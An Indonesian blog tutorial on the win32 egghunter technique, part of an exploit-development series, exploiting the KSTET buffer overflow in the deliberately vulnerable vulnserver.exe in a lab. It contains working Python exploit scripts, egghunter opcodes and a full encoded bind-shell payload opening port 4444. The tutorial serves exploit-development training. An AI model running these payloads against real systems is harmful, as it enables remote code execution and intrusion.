Membangun Eksploitasi Windows Bagian 8: win32 Egghunter

Egg hunter tidak lain adalah sebuah shellcode berukuran kecil (sekitar 32-60 bytes) yang bertugas untuk mencari shellcode lain (biasanya berukuran lebih besar). Pencarian ini dilakukan di Virtual Address Space (VAS) yang benar dan mencari sebuah tag atau penanda (karena itu disebut sebagai egg). Penanda atau egg ini biasanya merupakan karakter unik, berulang dan berdempetan, contoh paling umum sebuah egg adalah w00tw00t (t00wt00w dalam bentuk little-endian).

Setelah beberapa bulan dari tulisan terakhir, akhirnya saya bisa punya waktu untuk lagi untuk melanjutkan seri tulisan membangun eksploitasi di Windows. Pada tulisan kali ini saya akan membahas penggunaan egg hunter yaitu sebuah shellcode kecil yang berfungsi untuk mencari shellcode yang lebih besar. Lebih detailnya akan saya bahas di bawah ini.

Apa, mengapa, dan kapan butuh Egg hunter?

Egg hunter tidak lain adalah sebuah shellcode berukuran kecil (sekitar 32-60 bytes) yang bertugas untuk mencari shellcode lain (biasanya berukuran lebih besar). Pencarian ini dilakukan di Virtual Address Space (VAS) yang benar dan mencari sebuah tag atau penanda (karena itu disebut sebagai egg). Penanda atau egg ini biasanya merupakan karakter unik, berulang dan berdempetan, contoh paling umum sebuah egg adalah w00tw00t (t00wt00w dalam bentuk little-endian).

Egg hunter digunakan ketika dalam proses eksploitasi, ukuran buffer yang memicu buffer overflow sangat kecil dan tidak cukup untuk meletakkan shellcode di atas 60 bytes. Egg hunter sering disebut juga sebagai staged-shellcode namun menurut saya kurang tepat karena cara kerja staged-shellcode biasanya mengirimkan shellcode kecil sebagai pemicu untuk mengunduh shellcode yang lebih besar (cara kerjanya mirip dengan malware downloader) sedangkan egg hunter tidak mengunduh shellcode lain namun mencarinya di memori.

Untuk dapat melihat egg hunter dengan lebih dekat, saya akan menjalankannya pada sistem operasi Windows 7 SP1 (x86) dan perlu memasang hal-hal berikut:

Pada tulisan kali ini saya akan melewatkan beberapa hal terkait eksploitasi buffer overflow karena teknik yang digunakan sudah pernah dijelaskan pada tulisan-tulisan sebelumnya. Saya akan fokus pada bagian penggunaan 32-bit egg hunter, dimana ketika ukuran buffer yang dapat dimanfaatkan untuk eksploitasi kurang dari 60 bytes, atau hampir tidak mungkin menaruh shellcode yang umum (shellcode untuk mengeksekusi program kalkulator saja berukuran 195 bytes).

Ada beberapa kondisi yang harus terpenuhi apabila ingin menggunakan egg hunter:

  1. Kita harus bisa mengeksekusi shellcode dan instruksi seperti JMP, CALL, PUSH/RET
  2. Kita harus bisa mengirimkan shellcode yang lebih besar dengan cara lain (entah melalui protokol lain atau fungsi lain) sebelum shellcode egg hunter tereksekusi
  3. Kita harus menentukan penanda yang unik dan berukuran 8 bytes karena shellcode egg hunter akan mencari penanda ini di memori. Penanda ini harus diletakkan tepat sebelum shellcode yang lebih besar “dikirimkan”.
  4. Panjang sebuah egg hunter shellcode 32-bit adalah sepanjang 32 bytes, pastikan kita dapat menempatkan egg hunter shellcode untuk menggunakannya.

Implementasi Penggunaan Shellcode Egg Hunter 32-bit

Shellcode egg hunter yang umum dibuat oleh Matt Miller (Skape) dan sudah menjadi bagian dari Mona Python script. Saya akan menggunakan shellcode egg hunter yang dihasilkan oleh Mona Python script dengan menjalankan !mona egg pada Immunity Debugger.

Egg hunter shellcode yang dihasilkan oleh Mona Python script

Shellcode egg hunter yang dihasilkan oleh Mona akan otomatis menggunakan penanda w00t. Jika dijabarkan dalam bahasa Assembly, berikut opcode dari shellcode egg hunter yang dihasilkan oleh Mona:

66:81CA FF0F     OR DX,0FFF
42               INC EDX
52               PUSH EDX
6A 02            PUSH 2
58               POP EAX
CD 2E            INT 2E
3C 05            CMP AL,5
5A               POP EDX
74 EF            JE SHORT 0x0
B8 77303074      MOV EAX,74303077          # ini penandanya: w00t
8BFA             MOV EDI,EDX
AF               SCAS DWORD PTR ES:[EDI]
75 EA            JNZ SHORT 0x0
AF               SCAS DWORD PTR ES:[EDI]
75 E7            JNZ SHORT 0x0
FFE7             JMP EDI

Program yang akan saya gunakan yaitu vulnserver.exe yang memang sengaja dibuat memiliki kerentanan. Dokumentasi mengenai vulnserver.exe dapat dibaca-baca di situs Github milik Stephen Bradshaw (https://github.com/stephenbradshaw/vulnserver).

Vulnserver.exe memiliki beberapa kerentanan, salah satunya adalah fungsi KSTET yang memiliki kerentanan buffer overflow. Berikut ini adalah skrip PoC yang dapat digunakan sebagai pembuktian bahwa KSTET memiliki kerentanan buffer overflow:

#!/usr/bin/python
import socket
import os
import sys
host="192.168.92.135"
port=9999
buff = "KSTET " + "A" * 70 + "BBBB" + "C" * (1000-74)
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.recv(1024)
expl.send(buff)
expl.close()

Setelah dijalankan kita bisa langsung mendapatkan kepastian bahwa EIP tertimpa dengan karakter BBBB.

EIP tertimpa dengan BBBB

Seperti yang dapat kita lihat di memori stack, terdapat karakter C yang mengisi memori stack namun tidak banyak (sekitar 20 bytes). Pada bagian Registers kita juga bisa lihat bahwa EAX memegang buffer yang menyebabkan buffer overflow.

Buffer yang masuk ke dalam memori stack

Buffer yang masuk ke dalam memori stack terbagi menjadi karakter A sebanyak 70 bytes, lalu karakter B yang menimpa EIP sebanyak 4 bytes, dan karakter C yang hanya 20 bytes. Dari hasil analisis di atas, kita dapat memanfaatkan 70 bytes karakter A sebagai tempat menaruh egg hunter shellcode. Sisa buffer setelah EIP (20 bytes karakter C) dapat kita gunakan untuk “lompat” ke register EAX, dimana pada register tersebut terdapat buffer yang kita kontrol dan akan diisi dengan egg hunter shellcode. Dari register EAX, proses eksekusi akan berlanjut ke egg hunter shellcode, dimana shellcode ini akan mencari shellcode yang lebih besar di memori.

Program vulnserver.exe memiliki sejumlah fungsi yang “sengaja” memiliki kerentanan, ada beberapa fungsi yang bisa kita manfaatkan namun pada kesempatan kali ini saya akan menggunakan fungsi STATS untuk mengirimkan shellcode yang lebih besar. Jika dipersingkat menjadi langkah-langkah, ini yang akan kita lakukan:

  1. Mengirimkan shellcode bind shell melalui fungsi STATS
  2. Memicu buffer overflow, mengarahkan aliran eksekusi menuju ESP, lalu mengeksekusi instruksi yang membuat register ESP menunjuk ke register EAX
  3. “Melompat” ke register EAX dan mengeksekusi shellcode egg hunter
  4. Shellcode egg hunter mencari shellcode bind shell yang sudah masuk ketika fungsi STATS digunakan
  5. Shellcode egg hunter menemukan penanda w00tw00t + shellcode bind shell lalu “melompat” ke register EDI (lihat kode Assembly di atas)
  6. Shellcode bind shell akan tereksekusi

Seperti proses eksploitasi buffer overflow pada umumnya, tentu saja setelah berhasil menimpa EIP, kita akan menimpa EIP dengan alamat yang membawa kita ke buffer yang kita kontrol. Sesuai analisis di atas, kita bisa menimpa EIP dengan JMP ESP yang akan membawa kita ke buffer yang kita kontrol, namun buffer tersebut berukuran kecil (hanya 20 bytes). Kita akan mengisi buffer ini dengan perintah seperti:

nop
nop
nop
nop
..
..
add eax, 8
jmp eax
..
..

Apabila disatukan dalam skrip PoC maka menjadi seperti ini:

#!/usr/bin/python
import socket
import os
import sys
host="192.168.92.135"
port=9999
buff = "KSTET "
buff+= "A" * 70                         # jumlah bytes yang diperlukan untuk mencapai EIP
buff+= "\x03\x12\x50\x62"               # jmp esp
buff+= "\x90" * 8                       # nopsled
buff+= "\x83\xC0\x08\xFF\xD0"           # add eax,8 # jmp eax
buff+= "C" * (1000-len(buff))           # sisa buffer
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.recv(1024)
expl.send(buff)
expl.close()

Apabila dijalankan, maka pada register EAX akan terbentuk seperti pada cuplikan layar berikut:

Register EAX menunjuk ke buffer yang dikuasai

Sampai pada posisi ini, kita hanya tinggal mengganti buffer tersebut dengan shellcode egg hunter. Berikut ini yang dapat saya rangkai dalam skrip Python selanjutnya:

#!/usr/bin/python
import socket
import os
import sys
host="192.168.92.135"
port=9999
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter+= "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
buff = "KSTET " + "A" * 2
buff+= "\x90" * 8                       # nopsled
buff+= egghunter                        # 32 bytes
buff+= "A" * 28                         # sisa dari 70 bytes menuju EIP
buff+= "\x03\x12\x50\x62"               # jmp esp
buff+= "\x90" * 8                       # nopsled
buff+= "\x83\xC0\x08\xFF\xD0"           # add eax,8 # jmp eax
buff+= "C" * (1000-len(buff))           # sisa buffer
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.recv(1024)
expl.send("STATS " + "w00tw00t" + "\xcc" * 1000)
expl.close()
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.recv(1024)
expl.send(buff)
expl.close()

Pada skrip Python di atas, shellcode egg hunter saya taruh di baris ke-15. Pada baris ke-14, terlihat bahwa saya menambahkan NOP sebanyak 8 bytes sebagai landasan ketika instruksi add eax, 8 dan jmp eax tereksekusi. Pada baris ke-16 saya juga menambahkan sisa buffer (karakter A sebanyak 28 bytes) agar memenuhi buffer overflow dan mencapai EIP. Pada baris ke-22 sampai ke-26, saya membuat koneksi baru dan mengirimkan perintah STATS yang diikuti oleh penanda shellcode egg hunter yaitu w00tw00t dan bakal shellcode, sementara bakal shellcode ini saya isi dengan INT3 yang diwakilkan oleh heksa 0xcc.

Apabila skrip di atas dijalankan, terlihat bahwa aliran eksekusi akan terlempar ke register EAX sebagai akibat dari perintah add eax, 8 dan jmp eax. NOPsled sebanyak 8 bytes sudah menunggu dan shellcode egg hunter siap tereksekusi. Jika kita ikuti dengan perintah Step into (tombol F7), terlihat bahwa proses eksekusi akan berulang ketika sampai pada instruksiJE SHORT 01A1F9A0 hal tersebut terjadi karena pengecekan terhadap Virtual Address Space (VAS) yang tepat sampai tidak terjadi Access Violation (0xc00000005cmp al,5). Apabila VAS tersebut ada dan benar, maka instruksi berlanjut dengan menaruh penanda (0x74303077w00t) ke register EAX. Dari sinilah proses pencarian penanda ini (w00t) dimulai sampai ketemu. Shellcode egg hunter didesain untuk menemukan 2 penanda yang berdempetan agar benar-benar yakin bahwa setelah 2 penanda ini ditemukan, berarti setelahnya adalah bakal shellcode (0xcc). Setelah 2 penanda ini ditemukan, alamat bakal shellcode akan disimpan ke register EDI dan aliran eksekusi akan langsung diarahkan ke register EDI (ditandai dengan instruksi JMP EDI)

Shellcode egg hunter tereksekusi, shellcode bind shell sudah menunggu di register EDI

Kita bisa melihat pada register EDI telah menunggu bakal shellcode. Jika kita gulir ke atas sedikit, kita bisa lihat penanda yang berdempetan tersebut (w00tw00t).

Aliran eksekusi mengarah ke register EDI

Sampai saat ini, apabila bakal shellcode kita ganti dengan shellcode bind shell, maka shellcode tersebut pasti tereksekusi. Berikut ini skrip Python yang sudah dilengkapi dengan shellcode bind shell:

#!/usr/bin/python
import socket
import os
import sys
host="192.168.92.135"
port=9999
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter+= "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
# x86/shikata_ga_nai succeeded with size 355 (iteration=0)
# x86/shikata_ga_nai chosen with final size 355
# Payload size: 355 bytes
shellcode =  b""
shellcode += b"\xb8\x7e\xa3\x25\x27\xd9\xc7\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x53\x31\x42\x12\x83\xea\xfc"
shellcode += b"\x03\x3c\xad\xc7\xd2\x3c\x59\x85\x1d\xbc\x9a"
shellcode += b"\xea\x94\x59\xab\x2a\xc2\x2a\x9c\x9a\x80\x7e"
shellcode += b"\x11\x50\xc4\x6a\xa2\x14\xc1\x9d\x03\x92\x37"
shellcode += b"\x90\x94\x8f\x04\xb3\x16\xd2\x58\x13\x26\x1d"
shellcode += b"\xad\x52\x6f\x40\x5c\x06\x38\x0e\xf3\xb6\x4d"
shellcode += b"\x5a\xc8\x3d\x1d\x4a\x48\xa2\xd6\x6d\x79\x75"
shellcode += b"\x6c\x34\x59\x74\xa1\x4c\xd0\x6e\xa6\x69\xaa"
shellcode += b"\x05\x1c\x05\x2d\xcf\x6c\xe6\x82\x2e\x41\x15"
shellcode += b"\xda\x77\x66\xc6\xa9\x81\x94\x7b\xaa\x56\xe6"
shellcode += b"\xa7\x3f\x4c\x40\x23\xe7\xa8\x70\xe0\x7e\x3b"
shellcode += b"\x7e\x4d\xf4\x63\x63\x50\xd9\x18\x9f\xd9\xdc"
shellcode += b"\xce\x29\x99\xfa\xca\x72\x79\x62\x4b\xdf\x2c"
shellcode += b"\x9b\x8b\x80\x91\x39\xc0\x2d\xc5\x33\x8b\x39"
shellcode += b"\x2a\x7e\x33\xba\x24\x09\x40\x88\xeb\xa1\xce"
shellcode += b"\xa0\x64\x6c\x09\xc6\x5e\xc8\x85\x39\x61\x29"
shellcode += b"\x8c\xfd\x35\x79\xa6\xd4\x35\x12\x36\xd8\xe3"
shellcode += b"\x8f\x3e\x7f\x5c\xb2\xc3\x3f\x0c\x72\x6b\xa8"
shellcode += b"\x46\x7d\x54\xc8\x68\x57\xfd\x61\x95\x58\x10"
shellcode += b"\x2e\x10\xbe\x78\xde\x74\x68\x14\x1c\xa3\xa1"
shellcode += b"\x83\x5f\x81\x99\x23\x17\xc3\x1e\x4c\xa8\xc1"
shellcode += b"\x08\xda\x23\x06\x8d\xfb\x33\x03\xa5\x6c\xa3"
shellcode += b"\xd9\x24\xdf\x55\xdd\x6c\xb7\xf6\x4c\xeb\x47"
shellcode += b"\x70\x6d\xa4\x10\xd5\x43\xbd\xf4\xcb\xfa\x17"
shellcode += b"\xea\x11\x9a\x50\xae\xcd\x5f\x5e\x2f\x83\xe4"
shellcode += b"\x44\x3f\x5d\xe4\xc0\x6b\x31\xb3\x9e\xc5\xf7"
shellcode += b"\x6d\x51\xbf\xa1\xc2\x3b\x57\x37\x29\xfc\x21"
shellcode += b"\x38\x64\x8a\xcd\x89\xd1\xcb\xf2\x26\xb6\xdb"
shellcode += b"\x8b\x5a\x26\x23\x46\xdf\x56\x6e\xca\x76\xff"
shellcode += b"\x37\x9f\xca\x62\xc8\x4a\x08\x9b\x4b\x7e\xf1"
shellcode += b"\x58\x53\x0b\xf4\x25\xd3\xe0\x84\x36\xb6\x06"
shellcode += b"\x3a\x36\x93"
buff = "KSTET " + "A" * 2
buff+= "\x90" * 8                           # nopsled
buff+= egghunter                            # 32 bytes
buff+= "A" * 28                             # sisa dari 70 bytes menuju EIP
buff+= "\x03\x12\x50\x62"                   # jmp esp
buff+= "\x90" * 8                           # nopsled
buff+= "\x83\xC0\x08\xFF\xD0"               # add eax,8 # call eax
buff+= "C" * (1000-len(buff))
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.recv(1024)
expl.send("STATS " + "w00tw00t" + shellcode)
expl.close()
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.recv(1024)
expl.send(buff)
expl.close()
Shellcode bind shell sudah menunggu di register EDI

Apabila proses eksekusi dilanjutkan, maka port 4444 akan terbuka sebagai akibat dari shellcode bind shell.

Shellcode bind shell sukses tereksekusi

Setelah yakin skrip eksploit tersebut berhasil mengeksekusi shellcode bind shell dengan bantuan shellcode egg hunter, kita dapat mengeksekusi skrip eksploit ini di luar debugger.

Eksploit sukses

Eksploit vulnserver pada fungsi KSTET dengan memanfaatkan shellcode egg hunter berhasil dilakukan.

Catatan Tambahan

Tulisan ini hanya fokus pada shellcode egg hunter di arsitektur 32-bit, sementara itu ada beberapa kondisi yang butuh penyesuaian apabila proses eksploitasi dilakukan pada sistem dengan arsitektur 64-bit. Meskipun semua sistem saat ini sebagian besar sudah mengarah ke arsitektur 64-bit, beberapa program masih dibuat dan berjalan hanya untuk arsitektur 32-bit. Untuk alasan itulah sejak Windows XP 64 bit, Microsoft mulai memperkenalkan WoW64 (Windows 32-bit on Windows 64-bit) yang tetap memproses eksekusi program 32-bit di arsitektur 64-bit. Tentu saja akibat adanya WoW64, proses eksekusi shellcode egg hunter akan mengalami penyesuaian.

Untuk memahami hal ini, silakan lanjut membaca dokumen-dokumen atau artikel terkait dengan penggunaan shellcode egg hunter pada sistem arsitektur 64-bit.

Referensi

modpr0be
modpr0be

Posisi saya saat ini sebagai direktur dan pemilik PT Spentera, sebuah perusahaan yang fokus dalam bidang penetration test, incident response, intrusion analysis and forensic investigation.

Saya juga berkontribusi untuk repositori eksploit Metasploit Framework sebagai pengembang kode eksploit. Saat ini memegang sertifikasi dari Offensive Security Certified Professional (OSCP), Offensive Security Certified Expert (OSCE), ISO/IEC ISMS 27001: 2013 Lead Auditor/Auditor, GIAC Certified Intrusion Analyst (GCIA), dan Offensive Security Exploitation Expert (OSEE).

Jika ingin menghubungi saya dapat melalui email bisnis di tom at spentera dot id atau pribadi di me at modpr0 dot be

Articles: 64

6 Comments

  1. Halo pak, maaf pak di luar topik komentarnya. Saya mau tanya pak, untuk menjadi penetration tester membuat exploit sendiri diperlukan pak? Atau seorang penetration tester hanya menggunakan tool saja? Saya sekarangg sedang mengembangkan diri di dunia penetration testing motivasi saya adalah tidak lain hanya ingin mengamankan aplikasi kantor tempat saya bekerja, karena di sini tidak ada orang yang bergerak di bidang IT security.
    Terima kasih banyak pak sebelumnya.

    • Halo Dimas, untuk menjadi penetration tester salah satu kemampuan yang diperlukan adalah analisis kerentanan dan bagaimana mengeksploitasinya. Terkait pertanyaan tersebut, mempelajari dan membuat eksploit sendiri merupakan salah satu bagian dari pekerjaan penetration tester bagian eksploitasi. Jadi jawabannya perlu ya hehe

Leave a Reply to modpr0beCancel Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.